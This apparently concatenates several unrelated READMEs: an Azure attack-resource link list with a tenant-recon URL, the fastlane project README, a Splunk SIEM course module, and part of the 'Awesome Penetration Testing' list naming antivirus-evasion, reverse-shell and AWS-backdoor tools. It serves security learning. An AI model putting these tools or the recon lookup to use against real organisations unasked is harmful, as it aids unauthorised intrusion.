- [Attacking Azure, Azure AD, and Introducing PowerZure](https://hausec.com/2020/01/31/attacking-azure-azure-ad-and-introducing-powerzure/)
- [Attacking Azure & Azure AD, Part II](https://posts.specterops.io/attacking-azure-azure-ad-part-ii-5f336f36697d)
- [Azure AD Connect for Red Teamers](https://blog.xpnsec.com/azuread-connect-for-redteam/)
- [Azure AD Introduction for Red Teamers](https://www.synacktiv.com/posts/pentest/azure-ad-introduction-for-red-teamers.html)
- [Azure AD Pass The Certificate](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
- [Azure AD privilege escalation - Taking over default application permissions as Application Admin](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)
- [Defense and Detection for Attacks Within Azure](https://posts.specterops.io/detecting-attacks-within-azure-bdc40f8c0766)
- [Hunting Azure Admins for Vertical Escalation](https://www.lares.com/blog/hunting-azure-admins-for-vertical-escalation/)
- [Impersonating Office 365 Users With Mimikatz](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/)
- [Lateral Movement from Azure to On-Prem AD](https://posts.specterops.io/death-from-above-lateral-movement-from-azure-to-on-prem-ad-d18cb3959d4d)
- [Malicious Azure AD Application Registrations](https://www.lares.com/blog/malicious-azure-ad-application-registrations/)
- [Moving laterally between Azure AD joined machines](https://medium.com/@talthemaor/moving-laterally-between-azure-ad-joined-machines-ed1f8871da56)
- [CrowdStrike Launches Free Tool to Identify and Help Mitigate Risks in Azure Active Directory](https://www.crowdstrike.com/blog/crowdstrike-launches-free-tool-to-identify-and-help-mitigate-risks-in-azure-active-directory/)
- [Privilege Escalation Vulnerability in Azure Functions](https://www.intezer.com/blog/cloud-security/royal-flush-privilege-escalation-vulnerability-in-azure-functions/)
- [Azure Application Proxy C2](https://www.trustedsec.com/blog/azure-application-proxy-c2/)
- [Recovering Plaintext Passwords from Azure Virtual Machines like It’s the 1990s](https://www.guardicore.com/labs/recovering-plaintext-passwords-azure/)
- [Forensicating Azure VMs](https://isc.sans.edu/forums/diary/Forensicating+Azure+VMs/27136/)
- [Network Forensics on Azure VMs](https://isc.sans.edu/forums/diary/Network+Forensics+on+Azure+VMs+Part+1/27536/)
- [Cross-Account Container Takeover in Azure Container Instances](https://unit42.paloaltonetworks.com/azure-container-instances/)
- [Azure Active Directory password brute-forcing flaw](https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/)
- [How to Detect Azure Active Directory Backdoors: Identity Federation](https://www.inversecos.com/2021/11/how-to-detect-azure-active-directory.html)
- [Azure App Service vulnerability exposed hundreds of source code repositories](https://blog.wiz.io/azure-app-service-source-code-leak/)
- [AutoWarp: Cross-Account Vulnerability in Microsoft Azure Automation Service](https://orca.security/resources/blog/autowarp-microsoft-azure-automation-service-vulnerability/)
- [Microsoft Azure Synapse Pwnalytics](https://medium.com/tenable-techblog/microsoft-azure-synapse-pwnalytics-87c99c036291)
- [Microsoft Azure Site Recovery DLL Hijacking](https://medium.com/tenable-techblog/microsoft-azure-site-recovery-dll-hijacking-cd8cc34ef80c)
- [FabriXss (CVE-2022-35829): Abusing a Custom Role User Using CSTI and Stored XSS in Azure Fabric Explorer](https://orca.security/resources/blog/fabrixss-vulnerability-azure-fabric-explorer/)
- [Untangling Azure Active Directory Principals & Access Permissions](https://csandker.io/2022/10/19/Untangling-Azure-Permissions.html)
- [How to Detect OAuth Access Token Theft in Azure](https://www.inversecos.com/2022/08/how-to-detect-oauth-access-token-theft.html)
- [How to deal with Ransomware on Azure](https://sysdig.com/blog/ransomware-azure-mitigations/)
- [How Orca found Server-Side Request Forgery (SSRF) Vulnerabilities in four different Azure Services](https://orca.security/resources/blog/ssrf-vulnerabilities-in-four-azure-services/)
- [EmojiDeploy: Smile! Your Azure web service just got RCE’d](https://ermetic.com/blog/azure/emojideploy-smile-your-azure-web-service-just-got-rced)
- [Bounce the Ticket and Silver Iodide on Azure AD Kerberos](https://www.silverfort.com/resources/white-paper/bounce-the-ticket-and-silver-iodide-on-azure-ad-kerberos/)
#### Lists and Cheat Sheets
- [List of all Microsoft Portals](https://msportals.io/)
- [Azure Articles from NetSPI](https://blog.netspi.com/?s=azure)
- [Azure Cheat Sheet on CloudSecDocs](https://cloudsecdocs.com/azure/services/overview/)
- [Resources about Azure from Cloudberry Engineering](https://cloudberry.engineering/tags/azure/)
- [Resources from PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md)
- [Encyclopedia on Hacking the Cloud](https://hackingthe.cloud/)
- [Azure AD - Attack and Defense Playbook](https://github.com/Cloud-Architekt/AzureAD-Attack-Defense)
- [Azure Security Resources and Notes](https://github.com/rootsecdev/Azure-Red-Team)
- [Azure Threat Research Matrix](https://microsoft.github.io/Azure-Threat-Research-Matrix/)
### Lab Exercises
- [azure-security-lab](https://github.com/azurecitadel/azure-security-lab) - Securing Azure Infrastructure - Hands on Lab Guide
- [AzureSecurityLabs](https://github.com/davisanc/AzureSecurityLabs) - Hands-on Security Labs focused on Azure IaaS Security
- [Building Free Active Directory Lab in Azure](https://medium.com/@kamran.bilgrami/ethical-hacking-lessons-building-free-active-directory-lab-in-azure-6c67a7eddd7f)
- [Aria Cloud Penetration Testing Tools Container](https://github.com/iknowjason/AriaCloud) - A Docker container for remote penetration testing
- [PurpleCloud](https://github.com/iknowjason/PurpleCloud) - Multi-use Hybrid + Identity Cyber Range implementing a small Active Directory Domain in Azure alongside Azure AD and Azure Domain Services
- [BlueCloud](https://github.com/iknowjason/BlueCloud) - Cyber Range system with a Windows VM for security testing with Azure and AWS Terraform support
- [Azure Red Team Attack and Detect Workshop](https://github.com/mandiant/Azure_Workshop)
- [SANS Workshop – Building an Azure Pentest Lab for Red Teams](https://www.sans.org/webcasts/sans-workshop-building-azure-pentest-lab-red-teams/) - The link in the description contains a password-protected OVA file that can be used until 2nd March 2024
### Talks and Videos
- [Attacking and Defending the Microsoft Cloud (Office 365 & Azure AD](https://www.youtube.com/watch?v=SG2ibjuzRJM)
- [Presentation Slides](https://i.blackhat.com/USA-19/Wednesday/us-19-Metcalf-Attacking-And-Defending-The-Microsoft-Cloud.pdf)
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
- [Presentation Slides](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [Dirk Jan Mollema - Im In Your Cloud Pwning Your Azure Environment - DEF CON 27 Conference](https://www.youtube.com/watch?v=xei8lAPitX8)
- [Presentation Slides](https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20presentations/DEFCON-27-Dirk-jan-Mollema-Im-in-your-cloud-pwning-your-azure-environment.pdf)
- [Adventures in Azure Privilege Escalation Karl Fosaaen](https://www.youtube.com/watch?v=EYtw-XPml0w)
- [Presentation Slides](https://notpayloads.blob.core.windows.net/slides/Azure-PrivEsc-DerbyCon9.pdf)
- [Introducing ROADtools - Azure AD exploration for Red Teams and Blue Teams](https://www.youtube.com/watch?v=o5QDt30Pw_o)
### Books
- [Pentesting Azure Applications](https://nostarch.com/azure)
### Tips and Tricks
- Replace COMPANYNAME with the company name of your choice to check if they use Azure. If the **NameSpaceType** indicates _"Managed"_, then the company is using Azure AD:
```
https://login.microsoftonline.com/getuserrealm.srf?login=username@COMPANYNAME.onmicrosoft.com&xml=1
```
|
<h3 align="center">
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<img src="https://github.com/fastlane/fastlane/blob/master/fastlane/assets/fastlane_text.png?raw=true" alt="fastlane Logo" width="500">
</a>
</h3>
[](https://twitter.com/FastlaneTools)
[](https://github.com/fastlane/fastlane/blob/master/LICENSE)
[](https://rubygems.org/gems/fastlane)
[](https://circleci.com/gh/fastlane/fastlane)
_fastlane_ is a tool for iOS and Android developers to automate tedious tasks like generating screenshots, dealing with provisioning profiles, and releasing your application.
<hr />
<h2 align="center">
✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨
</h2>
<hr />
## Need Help?
Before submitting a new GitHub issue, please make sure to
- Check out [docs.fastlane.tools](https://docs.fastlane.tools)
- Search for [existing GitHub issues](https://github.com/fastlane/fastlane/issues)
If the above doesn't help, please [submit an issue](https://github.com/fastlane/fastlane/issues) on GitHub and provide information about your setup, in particular the output of the `fastlane env` command.
**Note**: If you want to report a regression in _fastlane_ (something that has worked before, but broke with a new release), please mark your issue title as such using `[Regression] Your title here`. This enables us to quickly detect and fix regressions.
## _fastlane_ team
<table id='team'>
<tr>
<td id='helmut-januschka'>
<a href='https://github.com/hjanuschka'>
<img src='https://github.com/hjanuschka.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/hjanuschka'>Helmut Januschka</a></h4>
</td>
<td id='kohki-miki'>
<a href='https://github.com/giginet'>
<img src='https://github.com/giginet.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/giginet'>Kohki Miki</a></h4>
</td>
<td id='jan-piotrowski'>
<a href='https://github.com/janpio'>
<img src='https://github.com/janpio.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/Sujan'>Jan Piotrowski</a></h4>
</td>
<td id='joshua-liebowitz'>
<a href='https://github.com/taquitos'>
<img src='https://github.com/taquitos.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/taquitos'>Joshua Liebowitz</a></h4>
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<a href='https://github.com/snatchev'>
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</a>
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</td>
</tr>
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<td id='iulian-onofrei'>
<a href='https://github.com/revolter'>
<img src='https://github.com/revolter.png?size=140'>
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</td>
<td id='danielle-tomlinson'>
<a href='https://github.com/DanToml'>
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</a>
<h4 align='center'><a href='https://twitter.com/DanToml'>Danielle Tomlinson</a></h4>
</td>
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<a href='https://github.com/matthewellis'>
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</a>
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</td>
<td id='luka-mirosevic'>
<a href='https://github.com/lmirosevic'>
<img src='https://github.com/lmirosevic.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/lmirosevic'>Luka Mirosevic</a></h4>
</td>
<td id='jérôme-lacoste'>
<a href='https://github.com/lacostej'>
<img src='https://github.com/lacostej.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/lacostej'>Jérôme Lacoste</a></h4>
</td>
</tr>
<tr>
<td id='manu-wallner'>
<a href='https://github.com/milch'>
<img src='https://github.com/milch.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/acrooow'>Manu Wallner</a></h4>
</td>
<td id='aaron-brager'>
<a href='https://github.com/getaaron'>
<img src='https://github.com/getaaron.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/getaaron'>Aaron Brager</a></h4>
</td>
<td id='andrew-mcburney'>
<a href='https://github.com/AndrewMcBurney'>
<img src='https://github.com/AndrewMcBurney.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/armcburney'>Andrew McBurney</a></h4>
</td>
<td id='felix-krause'>
<a href='https://github.com/KrauseFx'>
<img src='https://github.com/KrauseFx.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/KrauseFx'>Felix Krause</a></h4>
</td>
<td id='jimmy-dee'>
<a href='https://github.com/jdee'>
<img src='https://github.com/jdee.png?size=140'>
</a>
<h4 align='center'>Jimmy Dee</h4>
</td>
</tr>
<tr>
<td id='olivier-halligon'>
<a href='https://github.com/AliSoftware'>
<img src='https://github.com/AliSoftware.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/aligatr'>Olivier Halligon</a></h4>
</td>
<td id='jorge-revuelta-h'>
<a href='https://github.com/minuscorp'>
<img src='https://github.com/minuscorp.png?size=140'>
</a>
<h4 align='center'><a href='https://twitter.com/minuscorp'>Jorge Revuelta H</a></h4>
</td>
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<a href='https://github.com/joshdholtz'>
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</a>
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<a href='https://github.com/nafu'>
<img src='https://github.com/nafu.png?size=140'>
</a>
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</a>
<h4 align='center'><a href='https://twitter.com/mgrebenets'>Maksym Grebenets</a></h4>
</td>
</tr>
</table>
Special thanks to all [contributors](https://github.com/fastlane/fastlane/graphs/contributors) for extending and improving _fastlane_.
## Contribute to _fastlane_
Check out [CONTRIBUTING.md](CONTRIBUTING.md) for more information on how to help with _fastlane_.
## Code of Conduct
Help us keep _fastlane_ open and inclusive. Please read and follow our [Code of Conduct](https://github.com/fastlane/fastlane/blob/master/CODE_OF_CONDUCT.md).
## Metrics
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* The number of _fastlane_ runs
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You can easily opt-out of metrics collection by adding `opt_out_usage` at the top of your `Fastfile` or by setting the environment variable `FASTLANE_OPT_OUT_USAGE`. [Check out the metrics code on GitHub](https://github.com/fastlane/fastlane/tree/master/fastlane_core/lib/fastlane_core/analytics)
## License
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> This project and all fastlane tools are in no way affiliated with Apple Inc. This project is open source under the MIT license, which means you have full access to the source code and can modify it to fit your own needs. All fastlane tools run on your own computer or server, so your credentials or other sensitive information will never leave your own computer. You are responsible for how you use fastlane tools.
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<h2 align="center">
✨ All fastlane docs were moved to <a href="https://docs.fastlane.tools/">docs.fastlane.tools</a> ✨
</h2>
<hr />
|
## Module 19 README: SIEM
### Module Description
In this module, we will focus on one of the most popular types of software that security professionals use to monitor their environments: **SIEM**, which stands for "security information and event management." While there are many different SIEM vendors in today's marketplace, we will primarily focus on one vendor: **Splunk**. This week we will learn about Splunk's core functionalities, and next week we will preview Splunk's SIEM product, **Splunk Enterprise Security**.
This first of two modules dedicated to SIEM will include the following:
- Day 1 will cover why and how businesses monitor their environment, how they use alerts to detect security events, and what makes SIEM such a powerful product for managing the many challenges of security monitoring.
- Day 2 will introduce a big data analyzation tool called Splunk. We will learn how to use Splunk's Search and Reporting application to create basic and complex Splunk searches.
- Day 3 will build on the concepts covered on Day 2, exploring Splunk's reporting and alerting capabilities. We will also learn the importance of "good" alerts and how to build them.
### Module Objectives
<details>
<summary>Click here to view the daily module objectives.</summary>
<br>
- **Day 1:** Intro to SIEM
- Analyze logs and determine the types of data they contain, as well as the types of security events they can help identify.
- Isolate, identify, and correlate fields across raw log files.
- Design a correlation rule that triggers a notification when an event occurs.
- Make informed decisions about which SIEM vendor is best for an organization.
- **Day 2:** Splunk Searches
- Explore and select Splunk add-ons and apps based on project needs.
- Upload logs into a Splunk repository.
- Write complex SPL queries to analyze specific security situations.
- **Day 3:** Splunk Reports and Alerts
- Use SPL commands `stat` and `eval` to create new fields in Splunk.
- Schedule statistical reports in Splunk.
- Determine baselines of normal activity in order to trigger alerts.
- Design and schedule alerts to notify if an attack is occurring.
</details>
### Lab Environment
You will use your local Vagrant virtual machine for Day 2 and Day 3 activities.
- Student credentials:
- Username:`sysadmin`
- Password: `cybersecurity`
At the end of Day 1, you will receive instructions for how to access Splunk within Vagrant.
### What to Be Aware Of
- At the end of Day 1, you will start to set up your Splunk environment inside of Vagrant. Be sure to attend office hours before Day 2 if you have any issues accessing the Splunk application.
### Security+ Domains
This module covers portions of the following domains on the Security+ exam:
- 1.0 Attacks, Threats, and Vulnerabilities
- 2.0 Architecture and Design
- 3.0 Implementation
- 4.0 Operations and Incident Response
For more information about these Security+ domains, refer to the following resource: [Security+ Exam Objectives](https://comptiacdn.azureedge.net/webcontent/docs/default-source/exam-objectives/comptia-security-sy0-601-exam-objectives-(2-0).pdf?sfvrsn=8c5889ff_2)
### Additional Reading and Resources
<details>
<summary> Click here to view additional reading materials and resources. </summary>
</br>
These are provided as optional, recommended resources to supplement the concepts covered in this module.
- **Day 1 Resources**
- [DNS Stuff: 10 Log Sources You Should Monitor](https://www.dnsstuff.com/top-10-log-sources-you-should-monitor)
- [DNS Stuff: 10 Best SIEM Tools in 2020](https://www.dnsstuff.com/siem-tools)
- **Day 2 Resources**
- [Splunk: Search Cheat Sheet](https://www.splunk.com/pdfs/solution-guides/splunk-quick-reference-guide.pdf)
- **Day 3 Resources**
- [Atlassian: Alert Fatigue](https://www.atlassian.com/incident-management/on-call/alert-fatigue)
</details>
---
### Module 19: Challenge
This module's Challenge assignment can be viewed here:
- [Module Challenge File](../../2-Homework/19-SIEMs)
### Looking Forward
Next week, we learn advanced Splunk skills, such as how to design visualizations and build dashboards. We will also preview Splunk's SIEM product **Splunk Enterprise Security** and introduce Splunk careers and certifications. We will conclude the week with a fun and challenging Splunk mini-project called Master of the SOC.
---
© 2020 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.
|
## OG Repo
https://github.com/enaqx/awesome-pentest
# Awesome Penetration Testing [](https://awesome.re)
> A collection of awesome penetration testing and offensive cybersecurity resources.
[Penetration testing](https://en.wikipedia.org/wiki/Penetration_test) is the practice of launching authorized, simulated attacks against computer systems and their physical infrastructure to expose potential security weaknesses and vulnerabilities. Should you discover a vulnerability, please follow [this guidance](https://kb.cert.org/vuls/guidance/) to report it responsibly.
Your contributions and suggestions are heartily♥ welcome. (✿◕‿◕). Please check the [Contributing Guidelines](CONTRIBUTING.md) for more details. This work is licensed under a [Creative Commons Attribution 4.0 International License](https://creativecommons.org/licenses/by/4.0/).
[This project is supported by Netsparker Web Application Security Scanner](https://www.netsparker.com/?utm_source=github.com&utm_content=awesome+penetration+testing&utm_medium=referral&utm_campaign=generic+advert)
## Contents
* [Android Utilities](#android-utilities)
* [Anonymity Tools](#anonymity-tools)
* [Tor Tools](#tor-tools)
* [Anti-virus Evasion Tools](#anti-virus-evasion-tools)
* [Books](#books)
* [Malware Analysis Books](#malware-analysis-books)
* [CTF Tools](#ctf-tools)
* [Cloud Platform Attack Tools](#cloud-platform-attack-tools)
* [Collaboration Tools](#collaboration-tools)
* [Conferences and Events](#conferences-and-events)
* [Asia](#asia)
* [Europe](#europe)
* [North America](#north-america)
* [South America](#south-america)
* [Zealandia](#zealandia)
* [Exfiltration Tools](#exfiltration-tools)
* [Exploit Development Tools](#exploit-development-tools)
* [File Format Analysis Tools](#file-format-analysis-tools)
* [GNU/Linux Utilities](#gnulinux-utilities)
* [Hash Cracking Tools](#hash-cracking-tools)
* [Hex Editors](#hex-editors)
* [Industrial Control and SCADA Systems](#industrial-control-and-scada-systems)
* [Intentionally Vulnerable Systems](#intentionally-vulnerable-systems)
* [Intentionally Vulnerable Systems as Docker Containers](#intentionally-vulnerable-systems-as-docker-containers)
* [Lock Picking](#lock-picking)
* [macOS Utilities](#macos-utilities)
* [Multi-paradigm Frameworks](#multi-paradigm-frameworks)
* [Network Tools](#network-tools)
* [DDoS Tools](#ddos-tools)
* [Network Reconnaissance Tools](#network-reconnaissance-tools)
* [Protocol Analyzers and Sniffers](#protocol-analyzers-and-sniffers)
* [Network Traffic Replay and Editing Tools](#network-traffic-replay-and-editing-tools)
* [Proxies and Machine-in-the-Middle (MITM) Tools](#proxies-and-machine-in-the-middle-mitm-tools)
* [Transport Layer Security Tools](#transport-layer-security-tools)
* [Wireless Network Tools](#wireless-network-tools)
* [Network Vulnerability Scanners](#network-vulnerability-scanners)
* [Web Vulnerability Scanners](#web-vulnerability-scanners)
* [Open Sources Intelligence (OSINT)](#open-sources-intelligence-osint)
* [Data broker and search engine services](#data-broker-and-search-engine-services)
* [Dorking tools](#dorking-tools)
* [Email search and analysis tools](#email-search-and-analysis-tools)
* [Metadata harvesting and analysis](#metadata-harvesting-and-analysis)
* [Network device discovery tools](#network-device-discovery-tools)
* [OSINT Online Resources](#osint-online-resources)
* [Source code repository searching tools](#source-code-repository-searching-tools)
* [Web application and resource analysis tools](#web-application-and-resource-analysis-tools)
* [Online Resources](#online-resources)
* [Online Code Samples and Examples](#online-code-samples-and-examples)
* [Online Exploit Development Resources](#online-exploit-development-resources)
* [Online Lock Picking Resources](#online-lock-picking-resources)
* [Online Operating Systems Resources](#online-operating-systems-resources)
* [Online Penetration Testing Resources](#online-penetration-testing-resources)
* [Other Lists Online](#other-lists-online)
* [Penetration Testing Report Templates](#penetration-testing-report-templates)
* [Operating System Distributions](#operating-system-distributions)
* [Periodicals](#periodicals)
* [Physical Access Tools](#physical-access-tools)
* [Privilege Escalation Tools](#privilege-escalation-tools)
* [Password Spraying Tools](#password-spraying-tools)
* [Reverse Engineering](#reverse-engineering)
* [Reverse Engineering Books](#reverse-engineering-books)
* [Reverse Engineering Tools](#reverse-engineering-tools)
* [Security Education Courses](#security-education-courses)
* [Shellcoding Guides and Tutorials](#exploit-development-online-resources)
* [Side-channel Tools](#side-channel-tools)
* [Social Engineering](#social-engineering)
* [Social Engineering Books](#social-engineering-books)
* [Social Engineering Online Resources](#social-engineering-online-resources)
* [Social Engineering Tools](#social-engineering-tools)
* [Static Analyzers](#static-analyzers)
* [Steganography Tools](#steganography-tools)
* [Vulnerability Databases](#vulnerability-databases)
* [Web Exploitation](#web-exploitation)
* [Intercepting Web proxies](#intercepting-web-proxies)
* [Web file inclusion tools](#web-file-inclusion-tools)
* [Web injection tools](#web-injection-tools)
* [Web path discovery and bruteforcing tools](#web-path-discovery-and-bruteforcing-tools)
* [Web shells and C2 frameworks](#web-shells-and-c2-frameworks)
* [Web-accessible source code ripping tools](#web-accessible-source-code-ripping-tools)
* [Web Exploitation Books](#web-exploitation-books)
* [Windows Utilities](#windows-utilities)
## Android Utilities
* [cSploit](https://www.csploit.org/) - Advanced IT security professional toolkit on Android featuring an integrated Metasploit daemon and MITM capabilities.
* [Fing](https://www.fing.com/products/fing-app/) - Network scanning and host enumeration app that performs NetBIOS, UPnP, Bonjour, SNMP, and various other advanced device fingerprinting techniques.
## Anonymity Tools
* [I2P](https://geti2p.net/) - The Invisible Internet Project.
* [Metadata Anonymization Toolkit (MAT)](https://0xacab.org/jvoisin/mat2) - Metadata removal tool, supporting a wide range of commonly used file formats, written in Python3.
* [What Every Browser Knows About You](http://webkay.robinlinus.com/) - Comprehensive detection page to test your own Web browser's configuration for privacy and identity leaks.
### Tor Tools
See also [awesome-tor](https://github.com/ajvb/awesome-tor).
* [Nipe](https://github.com/GouveaHeitor/nipe) - Script to redirect all traffic from the machine to the Tor network.
* [OnionScan](https://onionscan.org/) - Tool for investigating the Dark Web by finding operational security issues introduced by Tor hidden service operators.
* [Tails](https://tails.boum.org/) - Live operating system aiming to preserve your privacy and anonymity.
* [Tor](https://www.torproject.org/) - Free software and onion routed overlay network that helps you defend against traffic analysis.
* [dos-over-tor](https://github.com/skizap/dos-over-tor) - Proof of concept denial of service over Tor stress test tool.
* [kalitorify](https://github.com/brainfuckSec/kalitorify) - Transparent proxy through Tor for Kali Linux OS.
## Anti-virus Evasion Tools
* [AntiVirus Evasion Tool (AVET)](https://github.com/govolution/avet) - Post-process exploits containing executable files targeted for Windows machines to avoid being recognized by antivirus software.
* [CarbonCopy](https://github.com/paranoidninja/CarbonCopy) - Tool that creates a spoofed certificate of any online website and signs an Executable for AV evasion.
* [Hyperion](http://nullsecurity.net/tools/binary.html) - Runtime encryptor for 32-bit portable executables ("PE `.exe`s").
* [Shellter](https://www.shellterproject.com/) - Dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.
* [UniByAv](https://github.com/Mr-Un1k0d3r/UniByAv) - Simple obfuscator that takes raw shellcode and generates Anti-Virus friendly executables by using a brute-forcable, 32-bit XOR key.
* [Veil](https://www.veil-framework.com/) - Generate metasploit payloads that bypass common anti-virus solutions.
* [peCloakCapstone](https://github.com/v-p-b/peCloakCapstone) - Multi-platform fork of the peCloak.py automated malware antivirus evasion tool.
## Books
See also [DEF CON Suggested Reading](https://www.defcon.org/html/links/book-list.html).
* [Advanced Penetration Testing by Wil Allsopp, 2017](https://www.amazon.com/Advanced-Penetration-Testing-Hacking-Networks/dp/1119367689/)
* [Advanced Penetration Testing for Highly-Secured Environments by Lee Allen, 2012](http://www.packtpub.com/networking-and-servers/advanced-penetration-testing-highly-secured-environments-ultimate-security-gu)
* [Advanced Persistent Threat Hacking: The Art and Science of Hacking Any Organization by Tyler Wrightson, 2014](http://www.amazon.com/Advanced-Persistent-Threat-Hacking-Organization/dp/0071828362)
* [Android Hacker's Handbook by Joshua J. Drake et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html)
* [BTFM: Blue Team Field Manual by Alan J White & Ben Clark, 2017](https://www.amazon.de/Blue-Team-Field-Manual-BTFM/dp/154101636X)
* [Black Hat Python: Python Programming for Hackers and Pentesters by Justin Seitz, 2014](http://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900)
* [Bug Hunter's Diary by Tobias Klein, 2011](https://nostarch.com/bughunter)
* [Car Hacker's Handbook by Craig Smith, 2016](https://nostarch.com/carhacking)
* [Fuzzing: Brute Force Vulnerability Discovery by Michael Sutton et al., 2007](http://www.fuzzing.org/)
* [Metasploit: The Penetration Tester's Guide by David Kennedy et al., 2011](https://nostarch.com/metasploit)
* [Penetration Testing: A Hands-On Introduction to Hacking by Georgia Weidman, 2014](https://nostarch.com/pentesting)
* [Penetration Testing: Procedures & Methodologies by EC-Council, 2010](http://www.amazon.com/Penetration-Testing-Procedures-Methodologies-EC-Council/dp/1435483677)
* [Professional Penetration Testing by Thomas Wilhelm, 2013](https://www.elsevier.com/books/professional-penetration-testing/wilhelm/978-1-59749-993-4)
* [RTFM: Red Team Field Manual by Ben Clark, 2014](http://www.amazon.com/Rtfm-Red-Team-Field-Manual/dp/1494295504/)
* [The Art of Exploitation by Jon Erickson, 2008](https://nostarch.com/hacking2.htm)
* [The Basics of Hacking and Penetration Testing by Patrick Engebretson, 2013](https://www.elsevier.com/books/the-basics-of-hacking-and-penetration-testing/engebretson/978-1-59749-655-1)
* [The Database Hacker's Handbook, David Litchfield et al., 2005](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html)
* [The Hacker Playbook by Peter Kim, 2014](http://www.amazon.com/The-Hacker-Playbook-Practical-Penetration/dp/1494932636/)
* [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi, 2009](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html)
* [The Mobile Application Hacker's Handbook by Dominic Chell et al., 2015](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html)
* [Unauthorised Access: Physical Penetration Testing For IT Security Teams by Wil Allsopp, 2010](http://www.amazon.com/Unauthorised-Access-Physical-Penetration-Security-ebook/dp/B005DIAPKE)
* [Violent Python by TJ O'Connor, 2012](https://www.elsevier.com/books/violent-python/unknown/978-1-59749-957-6)
* [iOS Hacker's Handbook by Charlie Miller et al., 2012](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html)
### Malware Analysis Books
See [awesome-malware-analysis § Books](https://github.com/rshipp/awesome-malware-analysis#books).
## CTF Tools
* [CTF Field Guide](https://trailofbits.github.io/ctf/) - Everything you need to win your next CTF competition.
* [Ciphey](https://github.com/ciphey/ciphey) - Automated decryption tool using artificial intelligence and natural language processing.
* [RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - Decrypt data enciphered using weak RSA keys, and recover private keys from public keys using a variety of automated attacks.
* [ctf-tools](https://github.com/zardus/ctf-tools) - Collection of setup scripts to install various security research tools easily and quickly deployable to new machines.
* [shellpop](https://github.com/0x00-0x00/shellpop) - Easily generate sophisticated reverse or bind shell commands to help you save time during penetration tests.
## Cloud Platform Attack Tools
See also *[HackingThe.cloud](https://hackingthe.cloud/)*.
* [Cloud Container Attack Tool (CCAT)](https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/) - Tool for testing security of container environments.
* [CloudHunter](https://github.com/belane/CloudHunter) - Looks for AWS, Azure and Google cloud storage buckets and lists permissions for vulnerable buckets.
* [Cloudsplaining](https://cloudsplaining.readthedocs.io/) - Identifies violations of least privilege in AWS IAM policies and generates a pretty HTML report with a triage worksheet.
* [Endgame](https://endgame.readthedocs.io/) - AWS Pentesting tool that lets you use one-liner commands to backdoor an AWS account's resources with a rogue AWS account.
* [GCPBucketBrute](https://github.com/RhinoSecurityLabs/GCPBucketBrute) - Script to enumerate Google Storage buckets, determine what access you have to them, and determine if they can be privilege escalated.
## Collaboration Tools
* [Dradis](https://dradisframework.com) - Open-source reporting and collaboration tool for IT security professionals.
* [Lair](https://github.com/lair-framework/lair/wiki) - Reactive attack collaboration framework and web application built with meteor.
* [Pentest Collaboration Framework (PCF)](https://gitlab.com/invuls/pentest-projects/pcf) - Open source, cross-platform, and portable toolkit for automating routine pentest processes with a team.
* [Reconmap](https://reconmap.org/) - Open-source collaboration platform for InfoSec professionals that streamlines the pentest process.
* [RedELK](https://github.com/outflanknl/RedELK) - Track and alarm about Blue Team activities while providing better usability in long term offensive operations.
## Conferences and Events
* [BSides](http://www.securitybsides.com/) - Framework for organising and holding security conferences.
* [CTFTime.org](https://ctftime.org/) - Directory of upcoming and archive of past Capture The Flag (CTF) competitions with links to challenge writeups.
### Asia
* [HITB](https://conference.hitb.org/) - Deep-knowledge security conference held in Malaysia and The Netherlands.
* [HITCON](https://hitcon.org/) - Hacks In Taiwan Conference held in Taiwan.
* [Nullcon](http://nullcon.net/website/) - Annual conference in Delhi and Goa, India.
* [SECUINSIDE](http://secuinside.com) - Security Conference in Seoul.
### Europe
* [44Con](https://44con.com/) - Annual Security Conference held in London.
* [BalCCon](https://www.balccon.org) - Balkan Computer Congress, annually held in Novi Sad, Serbia.
* [BruCON](http://brucon.org) - Annual security conference in Belgium.
* [CCC](https://events.ccc.de/congress/) - Annual meeting of the international hacker scene in Germany.
* [DeepSec](https://deepsec.net/) - Security Conference in Vienna, Austria.
* [DefCamp](http://def.camp/) - Largest Security Conference in Eastern Europe, held annually in Bucharest, Romania.
* [FSec](http://fsec.foi.hr) - FSec - Croatian Information Security Gathering in Varaždin, Croatia.
* [Hack.lu](https://hack.lu/) - Annual conference held in Luxembourg.
* [Infosecurity Europe](http://www.infosecurityeurope.com/) - Europe's number one information security event, held in London, UK.
* [SteelCon](https://www.steelcon.info/) - Security conference in Sheffield UK.
* [Swiss Cyber Storm](https://www.swisscyberstorm.com/) - Annual security conference in Lucerne, Switzerland.
